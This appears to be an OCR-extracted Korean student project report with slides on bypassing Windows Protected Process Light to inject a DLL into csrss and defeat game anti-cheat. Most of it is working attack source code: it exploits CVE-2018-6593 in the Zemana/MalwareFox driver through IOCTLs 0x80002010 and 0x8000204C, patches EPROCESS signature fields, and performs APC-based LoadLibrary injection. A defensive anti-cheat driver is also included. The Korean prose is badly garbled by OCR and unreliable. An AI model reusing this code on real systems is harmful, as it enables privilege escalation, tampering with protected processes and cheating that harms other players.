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Avel uFoz FHY WYAE RAKH F A9 sldHRE  Fvid
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SHAIRE XZIHK| ‘Eaf% AL & X 2 HIE 2UALCE SHX[ZE PPLE
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E2tO|H{0f| DeviceloControlE2 &8 712 ZE APIE CHAl QHSIO ZtTHSHA f3|2
= QACL O|E S0 O] Ao ZTIME FFQI CVE-2018-65932 HiAIALS| EELO
H'|0|D1 NtOpenProcess, NtOpenThread® PPLZ ?2|6t0 csrss, Isassl| & =52

7tX 2t THAFESIO ObRegisterCallbacksE 2|2 = UL O/ AFQ| ZHE= PPL
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X AlSh= ZO|C},
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2.3 CVE-2018-6593
ZAFO| HHAl ERBIO|HO|A LASH Privilege Escalation F2fHEO|H PIDE 530
7hEl ZEMADE E2LO[HO|A BEES 2FY = ULt SHX[2t PIDE S&5t= FE
=AM5l0] ZENAE SETH F| EE2OIH 7L MIdts @8 ZEE 0|88 FANE
APIQl OpenProcess2Ct &2 THA 2l NtOpenProcessE O|&3t0] PPLE E 3 k|0
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3. 28

31 M2H 1
Windows10 x64 1507 SHE0IM FE5IUSH 524 EE+& CheatEnginedl Handle
Hijacking 7|80 M&%& XMZE £ ALESIRUCE 12l R2F 3A7|#MS F57|
?ohM BRet AS2 csrssg BE=2ot7| 28 22 U= PPL S & DLLE ZELA
St= Signature Mitigationg= 2IHOF otCt. &0 7| 2= Z2MA7 W2 O
$HEOo| HsHS XHX|HSt= ObRegisterCallbacksE A3 HR2| A7|/MT|E X
SHRACE SHX|BE O| A S R2|5t= 7|8 Dt EX|siof st22 g Us HIO|ZE EHX|

Stol KFEHSHACEH XEMISH LI 2 3.2, 3.3, 345 At18tZ H2tCh,

32 USE LE2to|HE 0| &%t Privilege Escalation
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[1] =
|igc_l49e18538
moy wax, [rcxsE]
noy ridd, [rca+loh]
noy rsi, [rl5+1Bh]
imoy dword ptr [rsprEBh+arg 8], sax
By ebx, [rtx+1Bh]
cmp ebx, EESQlalah
2 short loc 1aee195cs
|
— —[2]
| | _ Bl—
Y] = 1 ! % .
F cirp &by, Sasalalan !n‘:{_..-l.-&ﬁ]l]:{i:
5E3 loc_148018607 | o ), S
loc_14801856A: . e - w9 dbr, wix
| : ja oc_14881853C
call IsRegister [4] LB =
test eax, eax [~ = =0
jz short loc_l4681@588 [
= |loc_lap@laeny:
|lza rax, aloctlRegister?
s re, r13
13- e _ [ rgd, 208!
= = LD [repsidievar 48], rax
man edx, 1 |mary aex, rlid
Ty BCE, #bp | [rspesdhevar_ 48], ri2
call CustomlockupProcessId lcall f
laa rdx, aMaind i |y s, rei
tast Bax, Bax |call StubRegisterProcess
jnz short loc_ 148818202 Himp log_l48@18796
"BE '
L t=11) [Fep+EBR+var _38], ebp
lea rax, aProcessidDIsMa | ocessID %d i= not auth
mo edi, BCeS8ed22h
L =11 [r‘;p-ﬂ-l:'-ﬁh--.-.lr_—'a-'.‘-'], b
ma dword ptr [rsp+6Bh+var_48], edi
miai r8d, 1E2h

HE CElo|HeQt S2T 20| EAT [ DeviceloControlO|2H= APIS AL (9
S El2 7ZAb EEIO|HO|A DeviceloControl2 M& = HHICSE 201810 0x80002010L

T =

22 OE HHIACE MEY = JUZE PIDE LE2t0|HO| SE3IC 21T FEIZ2 AKX
I B F0l= NtOpenProcess, NtOpenThreadE AtEY = e FHS EH = A1 0
£ 8 Z=MAT SESHA EHCOH FMEE ZEMATE HE0AM ALBEl= APIE At
g = UCt= Ho|Ct

3.3 Thread APCE 0| &%} DLL Injeciton
AHE APCHIS?|) 2E2 A ETl alterable wait AEFY [IH
SESICE O|AHE 0|83%1Y LoadlibraryS S2310] DLLE QMM
ot 2|7t Q™A e FEE &2 csrsse AR O|E[AO|M0 s MHE DLLE
E s UXE ME2z2 B S|ojRUCt Eot sHIE D[E[A 0|4 Eot 2
glsfof  ofCh Ol  RloiA  HMAETH E=20|HME =ZE 510 Signaturelevel,
SectionSignaturelLevel, DisableDynamicCode, SignatureMitigationOpting 022 Hi
of =RACL AtMet HH 7)== ChZot ZCh

u

3.4 ObRegisterCallbakcs?} Handle Hijacking

ObRegisterCallbacks2 Windows70|A O2f H'E APIES FZ dt= YAOAM AR
M MS3dt= APIE 7K ZzMA HE0| HdE I O S5& 29 axrt =
EECh O|AE S ZEMAIF ddE F Mo Cfer HehE =Fo mzele
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DLL injection®2 &4& DLLE TS0 mMO|ZF S SAetCh O[HA diM
ObRegisterCallBacksE 23 & =+ UCt. 25 HE 0| Z 7|¥2 DLt EA &
= A= IPC 7|¥MSE StLt AL8stE= A4S BX| St A0l 2z &Y T Sttt
2 A0o|C},
4. 4=
dE 9 7|tj=zat
e ZE0| MEE Hz J|BHE AFEEN AEHeE Ik 23540 Cist
S 7l== =25t OSE A0l Olslst=0 & =20| ZIRALCt Ol SoiiA A df
4ol =2 ALBE[= = SHO|MZE 7|R0| CHsHA Ofsista 2ot & = UA £
St pPLEE 7HX|1 A3 SZHLE2RH QHHSHA| Qitts AS Y SHRALCE
42 F=F A=
W Z2IE EAM% St githubO| YEEDSHO =L HAR & = Us SES
T Ao|H dIl HWEHE XSSt 7HEHS| @bt z&= StHH ME oA Y Y[HE
EtX| & o

A g+ As GHZ Hi=x & 2ol

51 11Xtz

https://www.unknowncheats.me/forum/anti-cheat-bypass/231833-bypass-design-hand]
e-hijacking-forced-inheritance-proof-concept.html ($HE &}0|X{Z)
https://nvd.nist.gov/vuln/detail/CVE-2018-6593 (CVE HH)




52 ©H PPT

PPL (Protected Process Light) -?—il %7—1 o._:|'_|'"

=X

2019. 10.29

RIED4: YeM B4y

Team1 | DapDap
HHCHAL, O|H 2, X8I, SME



P
FL
&
x
[

o = o g 38 9
HY CH Al Anti Cheat T3 (ZEEHME &), B M &Y
E=R=1 DLL Injector T35, PPT K| &}
F o E2I0|H
=4
A2 Client program(GUI) 7=, E 1A &
24= Server dll 7+35, PPT K| &}

M| M8 (1/2) m

+ CVE-2018-6593

o VirusS ZHO}OFe Antivirus7 28 =l Al

Vulnerability CVE=2018-6593

Published: 2018-02-03 Modifled: 2018-02-05
Description:
An issue was discovered in MalwareFox AntiMalware 2.74.0.150. Improper access control in zam32.sys and zam84.sys allows a non-privileged process to register itself with the driver by connecting to the filter
communication port and then using IOCTL 0x8000204C to \\\ZemanaAntiMalware to elevate privileges.
See advisories in our WLB2 database:
Toplc Author Date
(W88  MaiwareFox AntiMalware 2.74.0.150 Priviege Escalation Souhall Hammou 06.02.2018

(W88  MawareFox AntiMalware 2.74.0.150 Local Privilege Escalation Souhall Hammou 07022018

% CVE(Common Vulnerabilities and Exposure) : 27O R UB{Zl AZTES0{2] EOkF %A N1 FI|H
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FH M- (2/2)

‘ PPL (Protected Process Light) ‘

o Windows 8.10{|M R8iEl HS HZ{LIE
o PP(Protected Process)2| &=zt
o PER FER Z2M|A(csrss, Isass, winlogon)S ES

o AMH™HXHWinTcb, Lsa, WinSystem)0f| l2} ESE|= Z2NANA R E £ Q)= As0| XA

o HE UMY TS NA ZE|X}I} EPROCESS-)>Protection Mt Zt2 01510 23 Asi2 |3t
o PPLZ 23I517] IsHM= PPLI SUSH 7{d =0 AsH0| H2
* EPROCESS : HL0IM ZEMAE 22|517] I3 2EHE
5
J—

il ZEMA Ll 74

HI=22| READ / WRITE 7=
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Hs ZENA

HS Z2MA Cl8{7{

ObRegisterCallbacks()

gEst 85 7|y

HI22| READ / WRITE E7ls

T & (3/4)

b,
H -

=

7

_ |
PPL Bypass ZR 1

HS =Z=2M|

ObRegisterCallbacks()

|81 74

&2stEs Y

H=22] READ / WRITE 7=

% CSRSS(Client Server Runtime Sub System) : ZEM|AQ} A=E ZE|5l= Windows2| E Z2MA
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ObRegisterCallbacks() &E&st 25 7|H
H|22| READ / WRITE 87}=

# TOIZ(PIPE) : RYMA} OIEIsIEE HEE| S2HE SsiM £ Z2HAT} S5k 84|
9

=7 A =
2019H

Mar » 038 - 7|4 =2jo[ I i

Apr o 043 - F ot S2lo|H B 3 ME =27 HF

May o« O05% - DLL Injector 7%

Jun « 06% - Handle Hijacking 7|8 o1
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Visual
Studio

2017

% WDK(Windows Driver Kit) 2= SHER ZHx| 2 IX} 2 7S Sl D0 TARLA=EL| AZE 0] =F EE

N #E YN W8en0)  _ml

F2 A8 g

g A~ W

O 00 N o

. GetProcessHandleFromVulnDrv(...); // #2f EEI0|HZE BB =2 M A SHE

. GetThreadHandleFromVulnDrv(...); // ... 23 E SHES &

mjo

20| g

oo

. NtQueueApcThread(hThread,(PIO_APC_ROUTINE)fpLoadLibrary, target_mem_dll_path, NULL, NULL);
. ObregisterCallBacks(...); // %4 €& &%

. IsCsrssHaveDangerPipe(...); // 7= Q! Tjo| =7} QI=X| 22l

. ZwQuerySysteminformation(...); // ZEM 2 0|E2E PIDE A7 QI5|M ALE3sHE HE API

. PsLookupProcessByProcessld(...); // PIDE5E|{ EPROCESS +ZH| & 7IH =

. DriverLoader(HANDLE service_manager, LPSTR service_name, LPSTR driver_name);

. DliLoader(LPSTR dll_name, LPSTR proc_name);

12
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2 L2 (3/10)

F o H
NE 2d 3N
2381 59 (prL 23] B51)

—~ HANDLE GetDeviceHandleFromVulnDrv();
BOOL RegisterProcessToVulnDrv();
HANDLE GetProcessHandleFromVulnDrv();

HANDLE GetThreadHandleFromVulnDrv();

ZAle| =2to|HE H2 517]
fet HES TINT

2 L (a/10)

HANDLE GetDeviceHandleFromVulnDrv()

{
HANDLE hDevice;

hDevice = CreateFile(
"W WWZ emanaAntiMalware”,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL

)i

return hDevice;

}

13

BOOL RegisterProcessToVulnDrv(HANDLE hDevice,
ULONG pid)

HANDLE GetDeviceHandleFromVulnDrv(); {
— BOOL RegisterProcessToVulnDrv();
HANDLE GetProcessHandleFromVulnDrv();

HANDLE GetThreadHandleFromVulnDrv();

~- Ezlo|u{e} EAlEt PIDE S

if (DeviceloControl(
hDevice,
0x80002010,
&pid,
sizeof(ULONG),
NULL,
0,
NULL,
NULL))
{ return FALSE; }
return TRUE;

_12_



NE 238 AU 71 L Z(5/10) o
23| S (prL 23| E43)

HANDLE GetProcessHandleFromVulnDrv(HANDLE
HANDLE GetDeviceHandleFromVulnDrv(); hDevice, ULONG pid)
{

BOOL RegisterProcessToVulnDrv(); HANDLE hRecvProcess;
—HANDLE GetProcessHandleFromVulnDrv(); DeviceloControl(
hDevice, 0x8000204C, &pid, sizeof(ULONG),
HANDLE GetThreadHandleFrOmvulnDWO; &hReCVProceSS, Sizeof(HANDLE), NULL,
NULL
)i
return hRecvProcess;
| Device I/0Z §3H E=2l0|H7} }
CHAl =Z2M|A 2| SHES A0S

e =4 Sl 7 LY 2 (6/10)

HANDLE GetThreadHandleFromVulnDrv(HANDLE
HANDLE GetDeviceHandleFromVulnDrv(); hDevice, ULONG tid)

BOOL RegisterProcessToVulnDrv(); { HANDLE hRecvThread:

HANDLE GetProcessHandleFromVulnDrv(); )
DeviceloControl(
HANDLE GetThreadHandleFromVulnDrv(); hDevice, 0x80002084, &tid, sizeof(ULONG),
&hRecvThread, sizeof(HANDLE), NULL,
NULL
)i

Device I/O= =53] =ajo|t{7} return hRecvThread;

CHAl AIE SIS 210{2 }

_13_



HE 238 AN LH&(7/10)

23 =% (MF & U O[E[A0]H 23)

NTSTATUS create_dispatch( ... ) {

// Set SignatureLevel to 0

*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6b0) =
SE_SIGNING_LEVEL_UNCHECKED;

// Set SectionSignatureLevel to 0

*(UCHAR*)((UCHAR*)TargetEPROCESS + 0x6b1) =
SE_SIGNING_LEVEL_UNCHECKED;

TargetFlags1 = (EPROCESS_FLAGS2*)((UCHAR*)(TargetEPROCESS)+0x300);
// Enable dynamic code

TargetFlags1->DisableDynamicCode = 0;

TargetFlags2 = (EPROCESS_FLAGS3*)((UCHAR*)(TargetEPROCESS)+0x6b4);
// Disable signature Mitigation

TargetFlags2->SignatureMitigationOptin = 0;

ZHE 2td AU 7S W& (s/10)
23| 5 (APCE A8 St DLL Injection)
- SuspendThread
L

LoadLibrary(
| “C:\...hack.dll”

Thread
Thread ‘

VirtualAllocEx

- ResumeThread

1. Suspend
2. Wait
3. Alertable Wait

Full-Access
Csrss Handle

Full-AccessThreadHandle1

4. Ready
5. Running

Full-AccessThreadHandle2

_14_
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GetProcessHandleFromVulnDrv();

m GetThreadHandleFromVulnDrv();



e =E 2 7 L& (9/10)

Anti-Cheat &8 g1

OB_PREOP_CALLBACK STATUS PobPreOperationCallback( ... ) {

if(RtiCompareMemory(ChangeProcName, ProtectProcName, strlen(ProtectProcName))
== strlen(ProtectProcName))
{
Operationinformation->Parameters->CreateHandlelnformation.DesiredAccess =
(SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION);

}
return OB_PREOP_SUCCESS;
} 1. ChangeProceNamel!} ProtectProcName= H| il
2. Y X|S}H $H = 9| pesiredAccessE XA HEIO 2 HE
19
HE 3}74 O) 7)Y
e 23 3 7HE L& (10/10) o

Anti-Cheat T8 S 2
UCHAR IsCsrssHaveDangerPipe(PSYSTEM_HANDLE_INFORMATION_EX pshie, HANDLE pid) {

.f.c.)r (ULONG i=0; i < pshie->NumberOfHandles; i+ +) {
if(((pshie->Handles[i].UniqueProcessid) == pid) &&
(pshie->Handles[i].ObjectTypelndex == OBJECT_TYPE_FILE))

FileObject = (PFILE_OBJECT)pshie->Handles[i].Object;
if(FileObject->Flags && FO_NAMED_PIPE) {
poni = (POBJECT_NAME_INFORMATION)GetNameBuffer;
Status = ObQueryNameString(FileObject->DeviceObject, poni, 1028, &ReturnLength);
if(lRtICompareUnicodeString("#WDevicetNamedPipe”, &(poni->Name), TRUE))
++PineCount:

} 1. RE M SF rip7t YK 5= =3 Object EFUO| FILEY B2 S S 18
} 2.9tM THO| = E AZES}7] 98l WY THo| = Q1| &9l
} 3. ObQueryNameStrlngg M85t no|=9o| O] E S 7IMZ

20

_15_
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53 A3 LCE
git =24 : https://github.com/dapdapkiller/taljoongbu
P 6 commits ¥ 2 branches © 0 releases 42 1 contributor

Branch: master » New pull request Create new file = Upload files = Find file

doemor Dev/gui (#1) = Latest commit £82e@a5 on 7 Jun
I anticheat_driver AntiCheatDriver add find named pipe in csrss 6 months ago
B cheat _client Dev/qui (#1) 4 months ago
| cheat_server Anti cheat driver add PipeDectector routine 6 months ago
i dllinjector second update 6 months ago
B miti_killer second update 6 months ago
B readme.md Second update 6 months ago
readme.md

Project DAPDAP

[7 anticheat_driver
- ObRegisterCallbacks2 EFZI Z2 A[A0] CHz SHEHTHS THX[F R LICH

[7 cheat client
- DialogBox2 GUIE T-¥45t11, MBf DLLI} IO =2 S4IELIC

[7 cheat_server
- 220|9E T2 U Ojo| T2 EAIFHL L

7 dll_injector
- X5t CEIOIH E ARSI EE T2 M AL HES P51 Q™ MTtL|CY,

7 miti_killer
- Protected HIO|E9F M3 E O|E[A|0|4, A|D LA O/ E[A0[HE ELIC,

_17_



Anticheat Driver

<AntiCheat.h>

#pragma once

#include <ntddk.h>

#include <wdm.h>

#define PROCESS_TERMINATE (0x0001)
#define PROCESS_CREATE_THREAD (0x0002)
#define PROCESS_SET_SESSIONID (0x0004)
#define PROCESS_VM_OPERATION (0x0008)
#define PROCESS_VM_READ (0x0010)
#define PROCESS_VM_WRITE (0x0020)
#define PROCESS_DUP_HANDLE (0x0040)
#define PROCESS_CREATE_PROCESS (0x0080)
#define PROCESS_SET_QUOTA (0x0100)
#define PROCESS_SET_INFORMATION (0x0200)
#define PROCESS_QUERY_INFORMATION (0x0400)
#define PROCESS_SUSPEND_RESUME (0x0800)
#define PROCESS_QUERY_LIMITED_INFORMATION (0x1000)
#define PROCESS_SET_LIMITED_INFORMATION (0x2000)

#define 10_CTL_PROCESS_PIPE_FIND CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814,
METHOD_NEITHER , FILE_SPECIAL_ACCESS)

#define 10_CTL_PROCESS_CALLBACK_REGISTER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815,
METHOD_NEITHER, FILE_SPECIAL_ACCESS)

NTSTATUS create_dispatcher(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP irp);
NTSTATUS device_control_dispatcher(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP irp);
OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Operationinformation);

void PobPostOperationCallback(PVOID RegistrationContext,
POB_POST_OPERATION_INFORMATION Operationinformation);

<Utility.h>
#pragma once
#include "undocument.h"

PVOID GetProcessld(WCHAR* proc_name);

PSYSTEM_HANDLE_INFORMATION_EX GetAllSystemHandle();

UCHAR IsCsrssHaveDangerPipe(PSYSTEM_HANDLE_INFORMATION_EX pshie, HANDLE pid);
UCHAR [sCsrssPPLDisable();

<AntiCheat.c>
#include "AntiCheat.h"
#include "undocument.h"
#include "Utility.h"

// static function pointer

// Initilization at call DriverEntry
MyZwQuerySystemInformation fpZwQuerySysteminformation;
MyZwQuerylnformationProcess fpZwQuerylnformationProcess;

NTSTATUS  DriverEntry(_In_  PDRIVER_OBJECT  DriverObject, _In_  PUNICODE_STRING
RegistryPath){
NTSTATUS Status;

_18_




}

UNICODE_STRING SymbolicLinkName, DeviceName;
UNICODE_STRING ZwQuerySystmelnformationName, ZwQuerylnformationProcessName;
PDEVICE_OBJECT DeviceObject;

UNREFERENCED_PARAMETER(RegistryPath);

// DriverName Initalization

RtlInitUnicodeString(&SymbolicLinkName, L"#W??W#AntiCheatLinker");
RtlInitUnicodeString(&DeviceName, L"#WDeviceW#AntiCheatDriver");

// Undocument Function Intialization
RtlInitUnicodeString(&ZwQuerySystmelnformationName, L"ZwQuerySystemInformation”);
RtlInitUnicodeString(&ZwQuerylnformationProcessName, L"ZwQuerylnformationProcess");

Status = loCreateDevice( DriverObject,
OI
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
0,
&DeviceObject
)
if (Status) {
DbgPrint("[DBG] loCreateDevice failed.. Reason : %d#n", Status);
return Status;
}
Status = loCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if (Status) {
DbgPrint("[DBG] loCreateSymblicLink failed.. Reason : %d¥#n", Status);
return Status;
}
DbgPrint("[DBG] AntiCheat DriverEntry Called#n");
DriverObject->MajorFunction[IRP_MJ_CREATE] = create_dispatcher;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = device_control_dispatcher;

fpZwQuerySystemInformation = (MyZwQuerySystemInformation)
MmGetSystemRoutineAddress(&ZwQuerySystmelnformationName);
fpZwQuerylnformationProcess = (MyZwQuerylnformationProcess)
MmGetSystemRoutineAddress(&ZwQuerylnformationProcessName);

return STATUS_SUCCESS;

NTSTATUS create_dispatcher(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP irp) {

OB_CALLBACK_REGISTRATION ocr;
OB_OPERATION_REGISTRATION oor;
UNICODE_STRING Altitude;
NTSTATUS Status;

PVOID recevier;

UNREFERENCED_PARAMETER(DeviceObject);
UNREFERENCED_PARAMETER(irp);

RtlInitUnicodeString(&Altitude, L"312345");

// TODO : Create RegistrationContext struct must define exception_process_name like
csrss, Isass.. whatever.

oor.Operations = OB_OPERATION_HANDLE_CREATE;
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oor.ObjectType = PsProcessType;
oor.PreOperation = PobPreOperationCallback;
oor.PostOperation = PobPostOperationCallback;
ocr.OperationRegistration = &oor;
ocr.OperationRegistrationCount = 1;
ocrVersion = ObGetFilterVersion();
ocr.RegistrationContext = NULL;

ocr.Altitude = Altitude;

Status = ObRegisterCallbacks(&ocr, &recevier);
if (Status) {

DbgPrint("[DBG] ObRegisterCallbacks failed.. Reason : %d#n", Status);
}

return STATUS_SUCCESS;
}

NTSTATUS device_control_dispatcher(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP irp){
ULONG ControlCode;
PIO_STACK_LOCATION CurrentStackLocation;
PSYSTEM_HANDLE_INFORMATION_EX pshie;
PVOID CheckPID;
DbgPrint("[DBG] device_control_dispatcher called..”);

UNREFERENCED_PARAMETER(DeviceObject);

CurrentStackLocation = loGetCurrentirpStackLocation(irp);
ControlCode = CurrentStackLocation->Parameters.DeviceloControl.loControlCode;

switch (ControlCode) {
case |O_CTL_PROCESS_PIPE_FIND:
// TODO: GetPID, GetProcessHandle, NtQuerylnformationProcess, GetHandleList, GetPipe,
PipeCounting and monitoring..
CheckPID = GetProcessld(L"csrss.exe");
DbgPrint("[DBG] ProcessID : %xWn", CheckPID);
pshie = GetAllSystemHandle();
if (IsCsrssHaveDangerPipe(pshie, CheckPID) > 1) {
// TODO: Logging.. AutoBan.. Something..!
DbgPrint("[DBG] Hacked.. :( #n");
}
else {
DbgPrint("[DBG] Not Hacked :)#n", CheckPID);
}
ExFreePool(pshie);
break;
case |O_CTL_PROCESS_CALLBACK_REGISTER:
break;
default:
DbgPrint("[DBG] Meh.. this control code does not exist#n");

}

return STATUS_SUCCESS;
}

OB_PREOP_CALLBACK_STATUS PobPreOperationCallback(PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Operationinformation) {
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UNREFERENCED_PARAMETER(RegistrationContext);
CHAR* ProcName;
CHAR* ProtectProcess = "MapleStory.exe";

if (Operationinformation->KernelHandle == TRUE)
return OB_PREOP_SUCCESS;

/) HES 'eFTH A (O] EAER])Q| EPROCESS LENMETL HO{ 2L}
ProcName = PsGetProcessimageFileName((PEPROCESS)Operationinformation->0Object);

if(RtiCompareMemory(ProcName, ProtectProcess, strlen(ProtectProcess)) ==

strlen(ProtectProcess)){
Operationinformation->Parameters->CreateHandleInformation.DesiredAccess =
(SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION);

}

return OB_PREOP_SUCCESS;

}

void PobPostOperationCallback(PVOID RegistrationContext,
POB_POST_OPERATION_INFORMATION Operationinformation) {
UNREFERENCED_PARAMETER(RegistrationContext);
UNREFERENCED_PARAMETER(OperationInformation);

}

Cheat Client

<Utility.h>
#pragma once
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <TIHelp32.h>
#include "pipe.h"
#include "print.h"

#define ERROR_MACRO(x) printIn("[ERR ] Can't call " x " Reason: ", GetlLastError())

HWND FindConsoleHandle();

BOOL set_privilege(LPSTR prv_name);

BOOL DriverLoader(HANDLE service_mgr, LPSTR service_name, LPSTR driver_name);
DWORD ImageNameToProcessld(const char* ImageName);

BOOL DllLoader(LPSTR dll_name, LPSTR proc_name);

// This is a function that uses a pipe
BOOL MakeSendPacket(PREQUEST_HEADER req, uint8_t type, uint32_t address, char* buffer);

// This is a function that uses a vulnerable driver

HANDLE GetDeviceHandleFromVulnDrv();

HANDLE GetProcessHandleFromVulnDrv(HANDLE hDevice, ULONG pid);
HANDLE GetThreadHandleFromVulnDrv(HANDLE hDevice, ULONG tid);
BOOL RegisterProcessToVulnDrv(HANDLE hDevice, ULONG pid);

<Utility.cpp>
#include "Utility.h"
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#include <winnt.rh>

// Undocumented Function type definition

typedef NTSTATUS(NTAPI *MyNtOpenThread)(PHANDLE ThreadHandle,
ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, CLIENT_ID* cl_id);
typedef NTSTATUS(NTAPI *MyNtQueueApcThread)(HANDLE ThreadHandle,
PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL,
PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef HMODULE(WINAPI *MyLoadLibrary)(_In_ LPCSTR IpLibFileName);

// Get undocumented function address

MyNtOpenThread fpNtOpenThread = (MyNtOpenThread)
GetProcAddress(GetModuleHandle(TEXT("ntdlIl.dll")), "NtOpenThread");
MyNtQueueApcThread fpNtQueueApcThread = (MyNtQueueApcThread)
GetProcAddress(GetModuleHandle(TEXT("ntdlIl.dll")), "NtQueueApcThread");
MyLoadLlibrary fpLoadLibrary = (MyLoadLlibrary)
GetProcAddress(GetModuleHandle(TEXT("kernel32.dIl")), "LoadLibraryA");

HWND FindConsoleHandle()
{

HWND ret = O;
SetConsoleTitleA("Tester");
while (Iret)

{
ret = FindWindowA(NULL, "Tester");

}
return ret;

}

BOOL set_privilege(LPSTR prv_name) {
HANDLE hToken;
TOKEN_PRIVILEGES tempTP;

LUID tempLUID;

if (IOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
ERROR_MACRO("OpenProcessToken");
return FALSE;

}

if (lLookupPrivilegeValueA(NULL, prv_name, &tempLUID)) {
ERROR_MACRO("LookupPrivilesgeValueA");
return FALSE;

}

tempTP.PrivilegeCount = 1; // size of array

tempTP.Privileges->Luid = tempLUID;

tempTP.Privileges->Attributes = SE_PRIVILEGE_ENABLED |

SE_PRIVILEGE_ENABLED_BY_DEFAULT;

if (lAdjustTokenPrivileges(hToken, FALSE, &tempTP, sizeof(tempTP), NULL, NULL)) {
ERROR_MACRO("AdjustTokenPrivileges");
return FALSE;

}

CloseHandle(hToken);

return TRUE;

}

BOOL DriverLoader(HANDLE service_mgr, LPSTR service_name, LPSTR driver_name)
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HANDLE hService;
char driver_path[256] = { O, };
// CreateServiceA only using fully-qualified path.
// So, | can't using relative path.
GetCurrentDirectoryA(256, driver_path);
strncat(driver_path, "#WDriver#t", 10);
strncat(driver_path, driver_name, strlen(driver_name));
if (I(hService = CreateServiceA(
(SC_HANDLE)service_mgr,
service_name, // ServiceName
service_name, // DisplayName
SERVICE_START | DELETE | SERVICE_STOP,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
driver_path, // DriverPath
NULL, NULL, NULL, NULL, NULL
A
ERROR_MACRO("CreateService");
}

if (I(hService = OpenServiceA((SC_HANDLE)service_mgr, service_name, SERVICE_START |
DELETE | SERVICE_STOP))) {
ERROR_MACRO("OpenServiceA");
return FALSE;
}
else {
if (IStartServiceA((SC_HANDLE)hService, 0, NULL)){
ERROR_MACRO("StartService");
return FALSE;
}
}
return TRUE;
}

HANDLE GetPPLHandle(DWORD pid) {
HANDLE hDevice, hProcess;
DWORD myPid;

hDevice = CreateFile(
"W W ZemanaAntiMalware”,
GENERIC_READ | GENERIC_WRITE,
OI
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
)i
if ({hDevice)
{
printf("Can't not find device driver.#n");
return O;
}
// Registering my process with the driver
myPid = GetCurrentProcessld();
if (IDeviceloControl(hDevice, 0x80002010, &myPid, sizeof(DWORD), NULL, 0, NULL, NULL))
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{
CloseHandle(hDevice);
return O;
}
// Using IOCTL to get full access process handle
DeviceloControl(hDevice, 0x8000204C, &pid, sizeof(DWORD), &hProcess, sizeof(HANDLE),
NULL, NULL);
CloseHandle(hDevice);
return hProcess;

}

DWORD ImageNameToProcessld(const char* ImageName) {
PROCESSENTRY32 ProcessEntry;
HANDLE hSnapShot;

ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!hSnapShot) {
ERROR_MACRO("CreateToolhelp32Snapshot");
return 0;
}
Process32First(hSnapShot, &ProcessEntry);
do {
if (Istrncmp(ProcessEntry.szExeFile, ImageName, strlen(ImageName))) {
DWORD session_id;
ProcessldToSessionld(ProcessEntry.th32ProcessID, &session_id);
if (session_id == 1) // check only session
return ProcessEntry.th32ProcessID;

}
} while (Process32Next(hSnapShot, &ProcessEntry));
return O;

}

BOOL DllLoader(LPSTR dll_name, LPSTR proc_name) {
char dll_path[256] = { O, };
HANDLE hTool, hThread, hBypass;
THREADENTRY32 te;
DWORD targetPID = 0;
LPVOID target_mem_dll_path;

targetPID = ImageNameToProcessld(proc_name);
hBypass = GetPPLHandle(targetPID);

// Get dll path

GetCurrentDirectoryA(256, dlI_path);
strncat(dll_path, "##", 2);

strncat(dll_path, dll_name, strlen(dll_name));
printin("[INFO] DLL_PATH : " + (std:string)dll_path);

// Write dll path in target process memory
target_mem_dll_path = VirtualAllocEx(hBypass, NULL, strlen(dll_path) + 1, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);
if (IWriteProcessMemory(hBypass, target_mem_dll_path, dll_path, strlen(dll_path) + 1,
NULL))

ERROR_MACRO("WriteProcessMemory");
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// All thread finding
hTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
te.dwSize = sizeof(THREADENTRY32);
Thread32First(hTool, &te);
do {
if (te.th320wnerProcessID == targetPID) {
printIn("[INFO] Found Thread : ", te.th320wnerProcessID);
CLIENT_ID cid;
// Initialize target pid and tid
cid.UniqueProcess = (HANDLE)te.th320wnerProcessID;
cid.UniqueThread = (HANDLE)te.th32ThreadID;

printin("[INFO] cid.UniqueProcess : ", (DWORD)cid.UniqueProcess);
printin("[INFO] cid.UniqueTHread : ", (DWORD)cid.UniqueThread);
printin("[INFO] Found Thread ");
hThread = OpenThread(GENERIC_ALL, 0, (DWORD)cid.UniqueThread);
printIn("[INFO] hThread : ", (DWORD)hThread);
if (hThread) {
printIn("[INFO] Thread Opend!");
SuspendThread(hThread);
auto ret = fpNtQueueApcThread(hThread,
(PIO_APC_ROUTINE)fpLoadLibrary, target_mem_dll_path, NULL, NULL);
printin("[ERR ] Return 0x", ret);
printin("[ERR ] Reason: ", GetLastError());
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hTool, &te));
printin("[INFO] NtQueueApcThread ended..");
return TRUE;
}

BOOL MakeSendPacket(PREQUEST_HEADER req, uint8_t type, uint32_t address, char* buffer)
{
req->type = type;
req->address = address;
memset(req->buffer, 0, 256);
if (buffer != NULL)
